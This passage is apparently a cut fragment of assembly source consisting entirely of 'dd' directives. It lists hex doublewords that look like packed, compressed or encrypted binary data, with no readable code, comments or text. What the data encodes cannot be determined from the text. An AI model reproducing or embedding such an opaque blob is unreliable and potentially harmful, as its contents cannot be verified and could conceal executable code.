0E94D78F8h dd 42F4A470h, 30201C29h, 45C7C00Dh, 77C391F4h, 50666000h dd 0E168F808h, 269C0012h, 0E835838Bh, 0CB03673Bh, 16602B6Ah dd 0A938A317h, 0BC7028EFh, 25EC0071h, 0E7FFC026h, 8702F89Fh dd 0C33FE283h, 0A3B3C00Bh, 0EC2A004Dh, 4F53019Ch, 570E5446h dd 4552F0h, 726F425Ch, 6E611F6Ch, 77440064h, 68701F65h dd 52C76907h, 46004C54h, 4D5550h, 6B73610Eh, 756C8256h dd 0CDC46500h, 13E3C32Ch, 0B33A00A8h, 0BF62E08h, 0F8A0D470h dd 921F6641h, 8BDFDC59h, 7E8D800h, 0C27790h, 3FE91C58h dd 0A09B2F1Ah, 8F69EF00h, 5E360F15h, 2EFD003Dh, 837ADC76h dd 773DE807h, 0D8458029h, 0E975F681h, 0FB3C00E4h, 0DC78A021h dd 340184CCh, 0EC9BE08h, 28FC1BE8h, 0F58000Ch, 641361B6h dd 460B058Fh, 200A3078h, 0A7197B17h, 6B5D0087h, 58144C99h dd 2000E07h, 51FF01B2h, 0ECF2FCh, 0ABD7CBC0h, 98D84B8Bh dd 4C793Fh, 635513CEh, 3B59AE09h, 2C5CAD9Ah, 2C2EE200h dd 18FD0B8h, 5B0D5100h, 600731FEh, 0F1B0335h, 0D439EDEBh dd 46DE1DA8h, 0C3830B03h, 0B8734C1Ch, 1BEF63Eh, 147B0306h dd 20383489h, 49001C1Eh, 0E3D13B75h, 0D4363Eh, 0E01076C9h dd 9AD05139h, 78D9460Eh, 0F312A190h, 9C20B0C3h, 934F0057h dd 4A68CC96h, 0FD0009D0h, 4BD30E0Dh, 768051h, 0AFF26602h dd 59550AF8h, 7F896400h, 0AB8358C3h, 0F0C80029h, 0F7FC475Ch dd 0B80A9196h, 0F480C4B0h, 4563C00h, 3D8F5324h, 91E1A1Ch dd 5E17C790h, 888B290Ah, 0E8D28D80h, 330092AFh, 7601584Bh dd 0FF5BD9h, 89F43E1h, 40F061A9h, 5152E800h, 7CF6A053h dd 50F80003h, 4A48F45Ch, 1000D881h, 896E8E64h, 5C694519h dd 4072408h, 0D0DF2B49h, 0FB0CA43Bh, 5B0A050Fh, 0E99BE059h dd 19C1C87h, 82C457Ch, 70090CACh, 1D00222Fh, 1E495081h dd 1D312358h, 0D7E32575h, 10F20018h, 0F852FF12h, 7A89500h dd 0AC58E409h, 0A37F00BAh, 0EAAEFD4h, 0E500E806h, 8012E073h dd 6041043Dh, 6A10E4E1h, 6B0466C2h, 0EDFADF05h, 0F6804F84h dd 24CC35h, 16DBC31Ch, 541962B6h, 3D026A00h, 0A3480AE4h dd 98083D32h, 52D16680h, 48814E0h, 80502B3Ah, 733F8C09h dd 28C7E995h, 8C528Bh, 1253CA07h, 0C9FC6949h, 9006E70h dd 39800141h, 128F4E9h, 81EB0ACBh, 30BE0F95h, 8B008F22h dd 10526E0h, 7C5DE7h, 0D21C6892h, 0EBAE0361h, 886ED400h dd 0C55951E1h, 2805385Ah, 4352119Ch, 46E22120h, 76D5F0D8h dd 0F8A1E00h, 29E3C4BFh, 11CF2A4h, 0F7BAE169h, 20E99CDFh dd 85160FC0h, 73000DB9h, 8B45DE38h, 0E6182C50h, 741405FBh dd 0A7FEC03Ch, 49023E19h, 22C80CCEh, 8438C0D2h, 0FF450E97h dd 14E09356h, 0BD8B258Dh, 0E0E15AF4h, 0CE013981h, 0E48EFFAh dd 1BF065C6h, 85094C89h, 0C937C3Fh, 2570083h, 62DB3153h dd 0C1417500h, 0C4ACE61Bh, 0A328005Fh, 0A68C882h, 0F074D22Dh dd 419B7A00h, 71247C1Ah, 0FF0D050Eh, 80941DB0h, 8B13061Ah dd 7C016F00h, 47C7045Fh, 0A6361FCDh, 0AC32C051h, 0E3FF22EFh dd 9CDDC600h, 42886596h, 79C9427h, 204108A0h, 1A4033E9h dd 0B286B850h, 0A1D0D50Eh, 8D0ACA1Eh, 0A2CA1F00h, 0F4023808h dd 750D3E8Ch, 0B386E980h, 0F1454231h, 8D0220Eh, 5A00D35Ch dd 559018Bh, 971018Dh, 6EDC589h, 0F043E834h, 0FE9AEF1Dh dd 3E183F80h, 3728F8h, 3BD81CDAh, 1775CC4Fh, 0F6D46400h dd 960DBA57h, 9471674h, 1FD30FD0h, 0C6289AE0h, 0DC267F8Ch dd 751F9E69h, 88383DEh, 0D8C0D94Bh, 6152AAh, 93149950h dd 0FFA96E5Ch, 24561B01h, 71381CE9h, 3384F0F7h, 48300F8Fh dd 10E08945h, 852E3F35h, 6A5B1203h, 0B3334936h, 0D337D06Bh dd 0DBE800B3h, 63FFA509h, 35071704h, 9208BAC9h, 903C4E90h dd 3EF4ED30h, 164200C7h, 77F32EC4h, 6A00267Eh, 0E8869608h dd 3AD1C23h, 49D4D152h, 5A88C06Eh, 57005554h, 1C53562Ch dd 0F80745h, 7BDF5222h, 548BE929h, 0C7304300h, 2F33A01Eh dd 0A9833FEBh, 89800AB8h, 0C042C48Bh, 4026022h, 9AA093FDh dd 0B593400Dh, 0BE4E0392h, 0D3B8BA6Ah, 5B389C0h, 0C0100607h dd 1181125Dh, 71206FA5h, 48ED0049h, 64F25A3Ah, 0D2000AB8h dd 8018C574h, 0E85D98h, 2DABA44Bh, 6705C3E2h, 0E9B84C00h dd 3465C0D5h, 1FBEF402h, 2250CC2h, 0D768D3F1h, 1C4BF5C0h dd 61BAA809h, 92408048h, 0C02081h, 5C742C7Fh, 9438EE5h dd 57C81500h, 778B052Dh, 876F0020h, 483DC7CFh, 0EB3F4EA0h dd 715C0060h, 833F01DAh, 91C500E8h, 0F830F936h, 500F3D52h dd 81112A96h, 0C932D38h, 462EDCh, 2406C313h, 0FDFA3AEBh dd 2F0F8600h, 94281F50h, 2C870326h, 2A47C8B0h, 5E8FC990h dd 22E4CDFCh, 1903CFE8h, 0F11A211Eh, 0A31693D7h, 0C312B3CEh dd 0E30ED3D8h, 0F30AF3DAh, 0F006F3D9h, 73ACAh, 2A25FFFBh dd 0C5240D5h, 807FE83Ah, 0C22C5D1Fh, 0AD0A404h, 0C89B6C75h dd 16A600AFh, 14305542h, 26A2B700h, 60663B81h, 4653004Ch dd 74184305h, 0B6008E1Dh, 13821B27h, 3DCCD889h, 1900FDB8h dd 674ABA44h, 0D003B4Eh, 25FACD16h, 3C86217h, 49D9B814h dd 29B05112h, 4D7F211Dh, 86384001h, 0A248A48h, 0EA577360h dd 309B0ACDh, 0E6DBE3h, 7CA005E2h, 2A00698Ch, 47B00B60h dd 1E75C839h, 0E14590h, 83092E53h, 0FF003EF9h, 1398674h dd 322F575h, 64938976h, 0BFA848A6h, 4724F19Ch, 541EE216h dd 82E40B80h, 4703Ch, 3A219DFAh, 0DB854031h, 77127E00h dd 4433C34Bh, 0AB0458DEh, 0C4D09700h, 0E7EE7F24h, 0EB5C12E4h dd 70F1006Ah, 0DD942010h, 374900CFh, 1EAB2229h, 9000C062h dd 0B7A4A160h, 4B9319h, 743330F8h, 5E7854DBh, 84859A00h dd 817EF33Bh, 0DF04001Ah, 521DCE60h, 6C0E27A8h, 0EF7F28C1h dd 51B880ECh, 0EBEBAC4h, 7D8D419Ch, 402EB9E3h, 8FA5F3C0h dd 0D9BC0500h, 10B80C21h, 0B02D1E89h, 0B41D0784h, 42A4F008h dd 8DF2AC15h, 0A0C44D2Eh, 0C1374500h, 277D8327h, 360177Bh dd 44792008h, 0F6C5823Ah, 40300CF2h, 481DD6A2h, 98C80759h dd 30C2C415h, 0E2FF0374h, 56263Dh, 53686A7h, 0DCFD41h dd 1C4A3D83h, 7754890h, 333C63Fh, 2E011324h, 0D1C0DC2Bh dd 1A20C9h, 0A214FE8h dd 24DC1F6Ah, 8D188400h, 6460C70h, 539C0016h, 2E32AB08h dd 0EE02657Dh, 0A21CBA15h, 1DD404Eh, 0A19039C8h, 170C3C81h dd 0F4C4E3ECh, 300033BFh, 0B0ACBBAFh, 389DB924h, 0D1000329h dd 0C280F1F7h, 250088FEh, 1C064B13h, 0E453CF2h, 2F946038h dd 0BA83B43h, 0D02992E8h, 5903BB7Fh, 830FAEB8h, 0CD8A98E2h dd 81170048h, 0D7E8C157h, 3C00ED97h, 0E26492D4h, 0DA098Dh dd 0FF191546h, 20061C77h, 2737F100h, 4C4E4836h, 872A0055h dd 0D8F71E73h, 40008B19h, 5E8E09C9h, 0BB6584h, 18BE380Ah dd 0B34BF0Ch, 7B5F8000h, 0CA167AC2h, 6A5600ECh, 0D0891705h dd 7609E3BCh, 8031E8F0h, 0EF75235Ch, 38120320h, 3E740584h dd 0ED2287F0h, 7F21BA24h, 2040161Dh, 14B88C42h, 0AFA20062h dd 0AC0E379Bh, 0EB000B1Eh, 0F20D134Bh, 0D63140h, 0E8181D8Ch dd 91B5C370h, 48385002h, 0C0250263h, 5099D2E5h, 0F89F761h dd 0F7230C43h, 76012B03h, 3F9215D8h, 6D00DCB0h, 3BE8AEC4h dd 194F96h, 0EBFF50FEh, 6740498h, 456EB000h, 4CC7D5CBh dd 3982Dh, 285329B1h, 0FE8525AEh, 8F46D703h, 0F8A03B83h dd 63E66h, 4DBBB750h, 0DE560382h, 0FB150F1Ch, 0EB5EC040h dd 6F508Ch, 6974721Dh, 20736E03h, 70C94300h, 67D1EF79h dd 0D0FB0068h, 0FC296328h, 39000E31h, 8F2C3338h, 1FD99637h dd 4055C290h, 28238960h, 0D4E5E90Bh, 8F3DA7A4h, 0DDF3808Dh dd 4D8BB3C8h, 1C1E0010h, 0FD2EC71Bh, 0F8004A60h, 0F357C49h dd 5030C89h, 428D50CBh, 6C49C0E1h, 580F2D8Bh, 4ED684B9h dd 19558013h, 7B2C03C7h, 856070Dh, 700F5B29h, 46DBCB4Eh dd 50CCF800h, 2D414523h, 51A007Fh, 65C34219h, 0D3775BFBh dd 480018E4h, 3DE6B904h, 0EB995Ah, 42877903h, 4B95137Bh dd 0D093A700h, 2B093622h, 2A7E0341h, 0EC8D8D2h, 83501CB0h dd 0C400AB7Eh, 810C338h, 0F2895Ah, 0F85BE1FCh, 0C60DE329h dd 4200047Eh, 0B6907774h, 0D667E0h, 0F865CF47h, 0FAF98C63h dd 0D8C73Fh, 0E9940951h, 914DF0h, 9A21D071h, 56591847h dd 81588C00h, 0BAF8E0C4h, 0D97E01DDh, 75F1EA74h, 0C75C2038h dd 0EB23A000h, 0BEFB8167h, 7D8B1398h, 9FE5002Ch, 0AA8D83A4h dd 503C0207h, 10805553h, 4843E8h, 0B862A6F1h, 3EF40D7Eh dd 94C71E00h, 2532A5CEh, 0D9330069h, 3D04B50Ch, 20004426h dd 22548CC5h, 0DE4816h, 0CA460729h, 98B8B480h, 0A90BD00h dd 0B9E28952h, 2C4A07D1h, 90880BADh, 210F2001h, 0A0F3AFEh dd 639517EAh, 0C0D68C99h, 70BFE02h, 37310381h, 0EBBD002Bh dd 680054E8h, 0D1890E42h, 0F6D295Ah, 4C265EE9h, 192D30A0h dd 3B016652h, 0AB32062h, 0DF8175Bh, 0E323A7Fh, 34810600h dd 94E4EB08h, 950368C0h, 76623Ah, 0DB501F3Fh, 8A143CA4h dd 4A0F42FEh, 81579080h, 0D7488951h, 70F217D0h, 0F77C00AEh dd 0C10158D1h, 0A4005FE6h, 0E060AA19h, 0FC4A62h, 0E77770C2h dd 0EF6832FEh, 0EE8B031Fh, 3593F701h, 0FECA43Fh, 0E684001Ah dd 8A4E34FDh, 793C8B1Ch, 0A7301FCh, 0CE39FA01h, 1EA26E8h dd 88482810h, 0E466505Ch, 91002413h, 2AF5A98Fh, 0F49817h dd 0D0A0AB90h, 88CAACA5h, 11426100h, 103B1FA4h, 145C001Dh dd 8B50BC08h, 8F0326E8h, 0E9414B24h, 0EA8B89Bh, 0D3720058h dd 5C50CE2Ch, 300FC04h, 0C771DC46h, 13DF92h, 674B8BD8h dd 45FAE573h, 53036300h, 5F580F23h, 7C1F0020h, 0F84F9FB9h dd 71F28CF5h, 0E9CA8900h, 0E550BA3h, 48740051h, 0A6506A52h dd 8B0F02EDh, 8710944Ch, 4170B8CFh, 78A4AFCh, 30B05AC3h dd 3B44A0C6h, 7E00149Ch, 0A258A99Dh, 0CE01D4h, 754B54A0h dd 7F55E6E9h, 0AC91EF03h, 395A884Ah, 94808D94h, 0CFBE0EBh dd 91004827h, 0C7A1D039h, 0CB258Fh, 0A8687F34h, 0A38B6B82h dd 579BAE0Bh, 77740398h, 0C2018802h, 0EAC10052h, 0E9CA35Eh dd 11011F91h, 4E204A58h, 0AD705F42h, 1CC60F83h, 0DE80D0C7h dd 5ACDF7E0h, 0ADCFF00h, 38102C22h, 4B410020h, 3A88C317h dd 81F60E0Ch, 0FFB8E307h, 2BD9E1h, 270573F5h, 0EBC00501h dd 0C0615D23h, 782D612h, 5E5A1500h, 0CA4B59B6h, 73957214h dd 2B6000B0h, 74B242F8h, 100E0CD4h, 40FC028Eh, 403861B8h dd 582800EEh, 879D832Bh, 89005325h, 92D71CFBh, 9AB0A4h dd 10B54845h, 78E28A0Ch, 975BEA00h, 8353D286h, 252D007Bh dd 3760FC58h, 84904A26h, 0DA391B01h, 0D3291F7Dh, 1949003Bh dd 117F9AA0h, 0D9F0A200h, 6F212C5Ch, 0D23107A7h, 0B089E541h dd 1356CDE3h, 5B682201h, 2E9B8C5Ah, 0FF31CCh, 0D0D848F7h dd 5883239Dh, 1DDB780Eh, 0E8814075h, 0C2ABFEh, 0E0882009h dd 0A3B937F0h, 0BDF72C03h, 9070FCE2h, 7301A41h, 0F228989Ah dd 32A9006Eh, 0EA032110h, 0F1399550h, 0E9DAF87Ch, 74EC4C63h dd 3850D824h, 680AE38h, 0A1015BE8h, 2600B093h, 17436AA9h dd 0F4630Ch, 0E73B5D50h, 84D38BDEh, 531C3000h, 0A480B08Ah dd 31FB1EA5h, 7C0AC009h, 189C06E8h, 21F02507h, 12D77698h dd 0C42A83B0h, 4F1A0239h, 85E2EC7Fh, 0D0CB8B41h, 0D000C34Eh dd 1D19706h, 2661F880h, 98EF8Eh, 7A46A00Bh, 5800400Ch dd 8162FE0Dh, 7BFD0Eh, 24610F02h, 40121688h, 8B8E1100h dd 0EC588127h, 83180091h, 7FA001F9h, 0C300A60Ah, 0C97CE934h dd 0C6B0C7h, 0EB29195Fh, 7101A78h, 1D033377h, 532F286Ah dd 0B161AB09h, 13FC1FB2h, 74850023h, 0E0F38B0Fh, 893B5552h dd 541880D5h, 32C0A2Eh, 2EC005Ch, 6F4DC98h, 0A339ABA8h dd 0B81D0029h, 0D43515A6h, 931A003Dh, 77D5DC1Fh, 0F0000516h dd 11EEB5Dh, 7E80443h, 0F183303h, 8F3CA0DAh, 5400B511h dd 249DF129h, 0A1AE48h, 4B1FE965h, 408E9052h, 0DA21F1A0h dd 23751000h, 0C86111C6h, 57F90E26h, 4C7250Eh, 3AA7C03Ch dd 0B71320D4h, 1F077E66h, 55A038CDh, 3B34239Ch, 0F480A240h dd 2EADC88Dh, 8900D568h, 84245B1Ch, 0B8C48267h, 2D60190h dd 6AB0CE16h, 0B2EE708Fh, 0ADA43Ch, 9331D898h, 9F9426h dd 3D45094Ah, 8E2BAE32h, 0DFF0AA00h, 3356504Ch, 28410157h dd 2371A4E6h, 9018FC5Eh, 5AA17003h, 0F88031F8h, 1E6B9FCDh dd 53AFA81Eh, 0AD0200F7h, 0F8BB85D5h, 38575517h, 0E4949200h dd 0FB078h, 0C2E31BB5h, 0D4089210h, 93BD630Fh, 0D5A927F7h dd 83287500h, 7772FCFAh, 0E1810023h, 37AC6DA6h, 897A7810h dd 3EF6191Dh, 661C63C0h, 3A9125C7h, 5E00E9F8h, 6B300D49h dd 43E669E8h, 80942B38h, 8366196Dh, 132A8038h, 0E1DE31h dd 97864E77h, 8400FD32h, 274908DDh, 0FF0270h, 0E2481551h dd 66C061E1h, 5A197B00h, 0F83A6058h, 95110073h, 1EDD130Eh dd 0B2137A4Ah, 0A4000D48h, 3A70C36Ch, 147F00CDh, 757E880Fh dd 553C0826h, 8658802Ch, 6DE52F78h, 627C82h, 0EAB17109h dd 8F814989h, 0C30F507Ah, 152924Ch, 0C0091073h, 85D360h dd 0D602FF1Dh, 0BCF0655Ch, 8D876E01h, 0B951817Dh, 7D32420h dd 2DA05989h, 0F045D0D8h, 2B00E816h, 5558902Fh, 4F1068h dd 0A8C49D3Dh, 0E445A62Dh, 2503E57Dh, 13573898h, 680E51Bh dd 7B51178Dh, 29230042h, 0C93EB7F3h, 97004F54h, 28C0459Fh dd 99F96Ch, 1C552407h, 0C62DD503h, 9D123C79h, 3100C8FFh dd 0A01B48EBh, 604D3C72h, 0BAE14C77h, 0AC428F00h, 0F7272B7Bh dd 0C392051Dh, 4500DE9Dh dd 32071AD3h, 1CFB8F6h, 4399F8BAh, 0C3FC0C08h, 0B725EB98h dd 81EAAF07h, 2C50E8CFh, 18E195h, 3F53CA42h, 2888B4D2h dd 80035177h, 564A12BDh, 0EDC9C865h, 29C50045h, 387435Fh dd 0A5000182h, 0CCBD0859h, 176C8397h, 0E05109D8h, 8D03BA60h dd 3162279Ah, 5672E057h, 6DEE09ACh, 0BFA09C53h, 52D9C907h dd 0FCD83B00h, 0E81A3111h, 8F500017h, 0CC2EE2E9h, 0A41D3D59h dd 0CB404875h, 1908FB14h, 2DD30084h, 55F34D29h, 130052EAh dd 3E716921h, 3C60490Bh, 0CB03586Eh, 0E723613Ch, 2BD308E0h dd 777C7200h, 4D5EC0B3h, 1D4B73CCh, 80F83231h, 15A3110Ah dd 770B66C5h, 0B99563h, 0CED94CD2h, 6A1F00D6h, 0A7FC655Ah dd 4600248Ch, 0F0819A69h, 306D9812h, 877CAB9Ch, 6609EC83h dd 4D810h, 0B958E0BFh, 0E882001Eh, 0E2512DF3h, 4C486A49h dd 0C4007645h, 357A5B10h, 590F38h, 0C307658h, 6F70FF1Ah dd 100106EAh, 998F0428h, 0E2C589A2h, 151E160h, 347B2C5Bh dd 2014B318h, 0F80049C6h, 1FF62775h, 8042Dh, 54A2804Ah dd 2F96060Ah, 528CA500h, 3C940745h, 60833CC7h, 0E59A1789h dd 38967A80h, 0E407864Ch, 721C6A27h, 44F5C08Fh, 1F7B814Bh dd 0CF104A7Ch, 62075FEh, 2EB7A91h, 24F04633h, 1578D81Ch dd 72810009h, 19740751h, 41C423Bh, 0FF400A56h, 0C0105E9h dd 0F27C75h, 0B2848DF5h, 0E72432BDh, 824BE400h, 0D2FEE023h dd 369A0037h, 9F056830h, 0E30B858Dh, 14521D7h, 0E2B4EBD3h dd 0EE70D8h, 68D5A3B5h, 520F823Fh, 942D4F00h, 10CC141h dd 74141C0Eh, 0B0E2401Eh, 6D75243Eh, 0A342960Fh, 0B590C040h dd 52E83Ch, 0A40EC76Ch, 9AB2BD6Bh, 6F00E072h, 2CDCF96Ah dd 195329h, 0AC4411Ah, 0A9D0681Bh, 9E3D5B00h, 40AA144Ah dd 0E3D63B16h, 0B0E57DF3h, 63E80013h, 56A3113h, 0F3009433h dd 0FBEA038Ch, 3E185D71h, 0F6120DE3h, 21BF0028h, 0AF84B0A0h dd 491FDF00h, 3806F37Dh, 640C000Ah, 559F21EEh, 1B58883Eh dd 0E290048h, 0EB1F031Eh, 804B0082h, 43422E3Bh, 0C9001092h dd 0A58F008h, 0F66D2874h, 21EF003Dh, 53AF5290h, 2007591h dd 347B9CAh, 0F285AD79h, 69050046h, 8F554074h, 2000B826h dd 0F5456E90h, 9C245Ah, 0ED64C696h, 666F99C0h, 770B7400h dd 79657261h, 4C470014h, 3FFF6387h, 4800CAEFh, 0EC2D1C95h dd 923A530h, 88B24BB8h, 0A1F66180h, 0F048BC0Ch, 3A7D0049h dd 213912A3h, 420F00B1h, 5D8B090Ah, 550129F8h, 0BC041E84h dd 30F4A275h, 0F91F6137h, 0F039619Dh, 990E2EC7h, 8478325Dh dd 7980A356h, 98A598DDh, 1A4EA81h, 0AD348542h, 0EB9102FBh dd 0D44731E0h, 7AB883Fh, 53BFC41h, 0FA0C504Ch, 450A0023h dd 0A11FEB84h, 2B00CBCDh, 108BE002h, 0D8E23Bh, 0ADEEC70h dd 3C8E1295h, 2DEF0600h, 1B9EAE9h, 0D92B00C2h, 51F62C38h dd 5200C6B4h, 1F18B68Dh, 7B923Dh, 3F813684h, 62382A7Dh dd 438BB100h, 78030998h, 4CB300E8h, 0B89192Fh, 1B0314EFh dd 1FFD120Ah, 0A09FB7F3h, 68359651h, 0F9B90FC8h, 8002002h dd 16BC90B1h, 0E800A0B8h, 0F6E0923Ch, 30106150h, 0BA880C06h dd 0FC00580Eh, 0E80814C8h, 0E2AAAF93h, 0C31F03E6h, 0E119DB1Ah dd 0F3F56DF8h, 1D1BEF00h, 1E568B51h, 1A7E00A2h, 0FAC7C9D2h dd 4600FCD9h, 3352A9BAh, 88B311h, 34591404h, 2CF7EB86h dd 0CD829D00h, 7949D7B0h, 2185005Bh, 27017548h, 702C6919h dd 8902ECB1h, 602D0C46h, 0EB178382h, 90450EF0h, 6C481F36h dd 702E4020h, 1A3566E9h, 2D002A90h, 3925BA80h, 162B4B9h dd 1C460AC7h, 0D8B24328h, 183D27EBh, 2221E3Ch, 110F00FCh dd 0C829C053h, 2462C057h, 44200C84h, 2C805400h, 9127487Eh dd 965F00AEh, 516B0F15h, 841F8110h, 3CC0468Dh, 32DA53F4h dd 0EBECFFh, 81068920h, 0B3042A7Eh, 85FE8B00h, 0FF1FA363h dd 50EE004Eh, 0E82836EAh, 0C800747Bh, 2D8CC944h, 730B81h dd 0E2B1AABAh, 0AB395019h, 87AD183Ch, 5489435Ch, 4B8D61D0h dd 0A6A50096h, 9136FFF0h, 5A0E9347h, 278B4AB0h, 0D96E4Eh dd 0BC8014C3h, 241D0406h, 0C0165B1Ah, 2B21FA52h, 5C00C2E2h dd 6764744Ah, 398CA315h, 0EB005D2Ah, 5445C622h, 0B2039552h dd 6A580129h, 5E85E8F6h, 83E800F5h, 3B74B461h, 5890B04Ch dd 2417DB00h, 0C67E6B6Fh, 15360010h, 0FA077502h, 0E4F45722h dd 0B0C35E30h, 124B47Ch, 44B8888Ch, 6012EB69h, 62017BFFh dd 0DD2FDB96h, 12308D4Ah, 0CF041D49h, 8D44114h, 7BDEB14Eh dd 0E424B802h, 1B1140B3h, 9C18051Ah, 0E014329Fh, 24070458h dd 0D2A93EC7h, 82B52590h, 880207C0h, 0A021FB08h, 0A5C11F1h dd 0FE010700h, 0C3E875CDh, 6F2800BDh, 0FA810C91h, 63FCBA49h dd 681CF1A0h, 0C30EEF03h, 0A0AF20D4h, 1467B8F7h, 8EE9B716h dd 253CCE0Fh, 0F0498DC0h, 0D8005040h, 1AA8EA2Ah, 0A830Eh dd 197702FAh, 8B0B4254h, 530FE1F4h, 0A9132524h, 2CF200C2h dd 733D7482h, 0DFC34C48h, 0BF3FF000h, 0B479D37Fh, 0F1DA1E07h dd 0B09021DBh, 200A10h, 0C7E81803h, 89C6B335h, 1F5E0439h dd 0F20056FFh, 643E5195h, 6AB80031h, 424B7166h, 8F01BAF1h dd 0F4BE6E70h, 0B7C49FA1h, 7B30094h, 9D22B02Dh, 467A7881h dd 2E753D00h, 3143EF9h, 0F37258h, 0F62B3953h, 7FD13B06h dd 0B71658h, 61FDCAF4h, 5F3D024h, 2A1ACA4h, 0EB71C033h dd 420001DAh, 44CAFE46h, 738F93Dh, 51A7753Ah, 36451002h dd 0C5005805h, 74493141h, 9921B7h, 0ABD6775Ch, 0CD713307h dd 0B5BA8E00h, 0F98341D0h, 7E3A1D40h, 10E98021h, 0CDB95187h dd 53260D00h, 0B8F2E79h, 7757919h, 52FD55Bh, 0B560A008h dd 1A01AC45h, 9CE425A8h, 7B6028A2h, 2BECFD4Eh, 0B7E00CBh dd 0D118FBB2h, 2530BEE8h, 5BFDFE5Ah, 0BA1D0048h, 0ABD986Bh dd 0C100544Ah, 535A0E9h, 0F81EDB28h, 3B240407h, 0C07D0830h dd 0F1898E7h, 0FF118800h, 0CCE1B740h, 27D33B58h, 0ACE25A80h dd 0CA1252CBh, 0A2C9D41Ch, 9E91980h, 597C74Dh, 5905C358h dd 7AED0E51h, 310021CBh, 0AB5A6C62h, 7509A400h, 81F04C24h dd 83FA002Dh, 164F4EEh, 0F700AEF2h, 188E49D1h, 0ED22B5Ah dd 3051970Ah, 0D087596Fh, 0AB3790D7h, 74007269h, 1C1F7C5Ch dd 103D45h, 8D0F0D14h, 0C13F917Fh, 3CE26D2Eh, 0DB92F800h dd 3855122Ch, 19034874h, 0E8C1C9DEh, 24AB28F0h, 0F14161Fh dd 84180CC0h, 0F06149AAh, 228800ACh, 451F8004h, 82484AD0h dd 0A2D800AAh, 0BC427D48h, 0F9400044h, 0E0AC213Ch, 313B0A73h dd 3E9B4C53h, 0F4C38058h, 656A6E2Dh, 0EED900E7h, 820114AEh dd 7F00FF80h, 1C3F0AB9h, 223A0h, 5C88840h, 8E08FA50h, 479CEE0Eh dd 0C340DE0Ch, 0F424E10Fh, 80180012h, 16989611h, 0BC1E2081h dd 28DE19BEh, 1CEE6BC7h, 95B307BBh, 0B7FC0DE0h, 0BA210043h dd 0A5108023h, 1903E8D4h, 2A0E8479h, 8891A0E7h, 0F4C4FF40h dd 0B5E61F20h, 0A002C02Dh, 0E35FA931h, 4103000h, 1BC908BFh dd 4034008Eh, 0A2BC2EC5h, 3700B122h, 3A0E76FAh, 70DE0B6Bh dd 0BDE80091h, 8AC7233Dh, 6200883Eh, 0EBC504ACh, 0E041AD78h dd 177A0080h, 0D71026B7h, 90E044D8h, 916EAC2Eh, 0A8878600h dd 5057B4F5h, 1C169503h, 4BA968h, 0CCEDA114h, 0C2011BCEh dd 1F4E7AD3h, 87F484A0h, 59510F61h, 0C8205267h, 749019A5h dd 6F76B907h dd 3A00557Ah, 1F4200Fh, 0CECB8F27h, 0C018585Ch, 0F8039409h dd 813F3978h, 0E500E77Ah, 0F36B90Bh, 0A18F07D7h, 0DF015F60h dd 40E674Eh, 40F2C9CDh, 2296E862h, 55810048h, 0FC6F7C07h dd 9E0FA065h, 402B70B5h, 9DC5ADA8h, 0D5F00069h, 1BFFCFA6h dd 78031F49h, 14A3D0B6h, 16C5809Bh, 0EFB300ABh, 13E0413Dh dd 5426E98Ch, 93002D03h, 17AAD0A8h, 17FE0E6h, 0B616A12Bh dd 0C06B4212h, 39002755h, 0E070F78Dh, 0E030F47Ch, 0E33C01C9h dd 8A5296FFh, 908EECE7h, 9D009E70h, 0AA7EEBFBh, 0E08C4351h dd 5C6A002Fh, 0D226FC19h, 7600F4BBh, 0F2CCE30Fh, 7384C729h dd 0D2444881h, 0F7E09000h, 9F76A427h, 17F438h, 10AEF8AAh dd 7BC4C5E3h, 5970FAh, 36E9B09Ch, 64F28AD6h, 0D40045E0h dd 0E1EBF7F3h, 3D7A4Ah, 621DCF95h, 0DC0740A2h, 0B83ED80Eh dd 0C7460039h, 0A60E91h, 3D19A0AEh, 1703A3E3h, 81750C01h dd 0C9769886h, 4DF220h, 3993A7E4h, 1B8353Bh, 53EDB200h dd 0C53D5DE5h, 8BD80ECFh, 5A0B929Eh, 20A15580h, 0A50054C0h dd 61378C1Fh, 0E0B15CBEh, 895D0025h, 0F867DBF9h, 2700F307h dd 0B0C8A2BFh, 0A06E80DDh, 2097D9h, 6052028Ah, 750F25C4h dd 0D559F000h, 351162C0h, 58CA03AEh, 0B45B3F7Bh, 0D3E7F7A8h dd 0F6C8BA03h, 0B864477Fh, 78030Ch, 951FF14h, 0C2C459D1h dd 238F0850h, 0D055B200h, 0FF332F11h, 149B1C61h, 185F007Bh dd 875C90Bh, 7ED2E816h, 0C0DBCA0Eh, 7910C158h, 0DAF70B0Ah dd 4200EE30h, 1CF99C3h, 1D34B300h, 0F7DBF3D9h, 7E3C0148h dd 0DAE98B12h, 0E475E8D6h, 0D139F601h, 3BD23AE0h, 0A0D783EFh dd 0E0B72FDh, 0F3EC0477h, 2B740540h, 63981B7Ch, 5BE7E200h dd 0B3C4C3F7h, 7FC29h, 0A74BAF46h, 0F30EE57Eh, 4AD2332Eh dd 0AA8B5600h, 7123DC0Ch, 83050008h, 1175FFFEh, 0B03CA80h dd 9FF381F2h, 516C15Bh, 248F1DCh, 0A8FFCDC3h, 2EE00437h dd 2C033AE5h, 0AAAEC023h, 2F91E8AFh, 8C2B0728h, 0A07C6622h dd 7A7B6A8Bh, 8EF39D3Fh, 2059215Dh, 0C8901D07h, 0F0950ECAh dd 562072F9h, 2992B3F4h, 0F2F539h, 3BD823D6h, 1123371h dd 7D5B022Fh, 0D8464915h, 17280ADh, 7C20F900h, 300AAC11h dd 1C05001Ah, 0ABB88FD0h, 0E238D331h, 60A5800Fh, 5CFBE02Ah dd 6711Ch, 8B1FFAC1h, 99E63AC2h, 0F8D33300h, 487FAD38h dd 7F5E76F9h, 0E7C30h, 4C65E6E8h, 0D8F8EA39h, 41919700h dd 750A4D8Ah, 24051727h, 372101DAh, 0E86048B8h, 0F4712C12h dd 0BF0A290Fh, 1F09A098h, 38A640Ch, 15BD595Eh, 88F863FCh dd 0F10052ECh, 4D91421Ch, 0FE66C0Bh, 685DF82Bh, 504E7CE1h dd 3C0F6083h, 2F0F0100h, 453366BCh, 987B7530h, 9D447EACh dd 0D424E00h, 0E1F2302h, 3F1143h, 0F4C76603h, 16974B6Ch dd 7F9AB3h, 92520989h, 64580A38h, 44C03E7h, 0F8D38056h dd 0D0BFA4h, 29403B34h, 0C82A23E9h, 0E8150A0Ch, 2E78407Ah dd 83B327h, 0E3B4BC8Bh, 2500AA13h, 0BAED31EFh, 799D5788h dd 0F22912F5h, 63CF004Ah, 2CA3E1D3h, 3200BF90h, 28150183h dd 7331B10h, 38052089h, 4E46C0F2h, 0F31C9892h, 0AC4025FFh dd 0A8C51454h, 